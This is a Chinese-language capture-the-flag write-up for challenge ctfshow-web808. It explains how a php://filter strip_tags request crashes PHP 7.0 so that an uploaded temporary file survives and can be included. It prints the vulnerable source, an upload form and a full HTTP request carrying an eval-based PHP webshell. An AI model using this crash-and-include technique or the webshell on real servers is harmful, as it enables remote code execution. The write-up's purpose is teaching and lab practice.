PHP7.0文件包含崩溃卡临时文件

PHP7.0文件包含崩溃卡临时文件

https://www.anquanke.com/post/id/201136

使用条件

  • php7.0版本
  • 有完整的包含点
  • /tmp目录可写

基本原理

php脚本运行时,会自动给超全局变量赋值

如果我们向一个 php 脚本发送文件上传表单, php 会将上传的文件存放在一个临时目录,等待 php 脚本处理,脚本运行结束后,无论 php 脚本是否处理这个上传文件,都会删除这个临时上传文件

php 为什么要这么做呢?其实是为了解决文件上传的问题,由于 php 代码是可以动态执行的, php 解释器是不知道哪个请求有文件上传,哪个请求没有文件上传。如果不接收上传的临时文件,那么脚本里面要使用上传的文件的话,就会找不到。如果每次都上传,那么如果没有处理上传文件的情况下,会造成每次都写临时文件,造成硬盘空间的浪费。所以 php 采用了折中的机制,每次都保留临时文件的内容,但是脚本执行完毕以后,就删除掉,这样既满足了随时调取上传文件内容的需要,又不占用额外的存储空间。

也就是说:虽然我们可以控制上传临时文件的内容,但是脚本运行结束以后就会自动删除掉

基于这种情况,出现了2种利用方式

  1. 脚本运行结束之前就包含这个临时文件,执行里面的恶意代码,并生成后门,删除临时文件后不影响以后的命令执行,条件竞争就是这个原理。
  2. 脚本运行结束之后不删除这个临时文件。这就是这个议题讨论的情况,想办法让脚本运行结束后不
    删除这个临时文件。

于是乎,现在的重点就是解决脚本运行结束之后,不删除这个临时文件。

  • 如果php代码中途退出了,就不会删除临时文件

例外

Shutdown函数和析构函数,代码中显示exit()或者die()以后,仍会执行

例题

ctfshow-web808

 <?php
error_reporting(0);
$file = $_GET['file'];

if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    print_r(scandir("/tmp"));
}

Array ( [0] => . [1] => .. ) 

有一个文件包含点,先写一个上传表单:

<html>
    <body>
    <form action="http://3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show/" method="post" enctype="multipart/form-data">
        <lable for="file">Filename:</lable>
        <input type="file" name="file" id="file" />
    	<br />
        <input type="submit" name="submit" value="Submit" />
        </form>
    </body>
</html>

这里使用php7.0线程崩溃payload

?file=php://filter/string.strip_tags/resource=/etc/passwd

php代码中使用php://filter的过滤器strip_tags , 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码

包:

POST /?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1
Host: 3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------16511668918698662614261256504
Content-Length: 374
Origin: http://3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show
Connection: close
Referer: http://3a0a2b8c-93a0-4517-81ca-00ef1c2fd167.challenge.ctf.show/
Cookie: UM_distinctid=180500f15de581-06dfb1171f6d008-4c3e2c73-144000-180500f15df490
Upgrade-Insecure-Requests: 1

-----------------------------16511668918698662614261256504
Content-Disposition: form-data; name="file"; filename="hack.php"
Content-Type: image/jpeg

<?php
echo "ok!";
@eval($_POST['1']);
-----------------------------16511668918698662614261256504
Content-Disposition: form-data; name="submit"

Submit
-----------------------------16511668918698662614261256504--

然后会返回临时文件名

php7.0

包含进来

php7.0

成功RCE